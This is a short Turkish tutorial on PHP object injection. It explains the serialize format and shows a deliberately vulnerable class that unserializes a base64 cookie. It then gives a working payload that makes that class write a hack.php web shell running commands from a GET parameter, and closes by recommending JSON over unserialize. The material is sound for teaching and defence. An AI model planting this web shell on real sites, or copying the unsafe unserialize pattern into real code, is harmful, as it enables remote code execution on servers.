Object Injection
Serialize, PHP’de bir object’i, array’i veya bir variable’ı string hale getirerek taşınabilir hale getirir. Serialize edilmiş bir object’in anlaşılabilir ve geri döndürülebilir bir yapısı vardır bu unserialize fonksiyonu sayesinde yapılır. Unserialize fonksiyonu string hale gelmiş veriyi tekrardan obje haline getirir.
Serialize objeyi string haline belli bir formatda çevirir.
O:10:"Sinifadiad":6:
{s:9:"publicVar";s:4:"omer";s:15:"*protectedVar";s:5:"citak";
s:22:"SinifadiadprivateVar";s:10:"diyarbakir";s:6:"intVar";i:21;
s:10:"decimalVar";d:2.1000000000000001;s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}}
Obje olduğunu belirtmek için “O” ile başlıyor. 10 değeri sınıf isminin karakter uzunluğudur. Sonraki 6 ise sınıf içinde kaç eleman olduğu bilgisidir.
Sonrası ise fonksiyon içindeki variable ve veriable karakter uzunluk bilgileridir.
Bir senaryo üzerinden ilerleyelim. Bir site düşünelim, fonksiyonlarını cookie ile kullanıcıya göndersin ve bunu serialize fonksiyonu ile yapsın. Bu fonksiyonun amacı her seferinde sisteme giriş yapıldığında tarih bilgisini tutuyor olsun ve log.txt dosyasına yazsın. Burada base64 ile cookie gönderiliyor.
class LogClass{
public $logFile = ‘log.txt’;
public $log = ‘triggered __wakeup method’;
function __wakeup(){
$f = fopen($this->logFile, "a");
fwrite($f, date("d.m.Y H:i:s").’ - ’.$this->log.PHP_EOL);
fclose($f);
}
}
if(!isset($_COOKIE["log"])){
$logger = new LogClass;
setcookie("log", base64_encode(serialize($logger)));
}
unserialize(base64_decode($_COOKIE["log"]));
Gelen string unserialize ile tekrar obje haline getirildiğinde Php, __wakeup ve __destruct komutlarını çalıştırır. Wakeup obje tekrar canlandığında çalışır.
Saldıgan giden paketde log.txt dosyası yerine saldırı amaçlı bir dosya gönderebilir, bilgileri ele geçirebilir veya shell atabilir.
O:8:"LogClass":2:{s:7:"logFile";s:8:"hack.php";s:3:"log";s:33:"
<?php echo exec($_GET['cmd']); ?>
";}
Saldırgan base64 ile bu stringi gönderirse artık içeriye hack.php dosyasını atmış olur ve terminal kodlarını çalıştırabilir.
Konuyla ilgili detaylı bilgiye buradan ulaşabilirsiniz.(https://www.netsparker.com.tr/blog/web-guvenligi/Object-Injection/)
Bu zafiyeti işlerken bu yazı üzerinden gittik.
Object Injection Saldırılarından Nasıl Korunabiliriz?
Unserialize fonksiyonu kullanmamak. JSON kullanmak öneriliyor.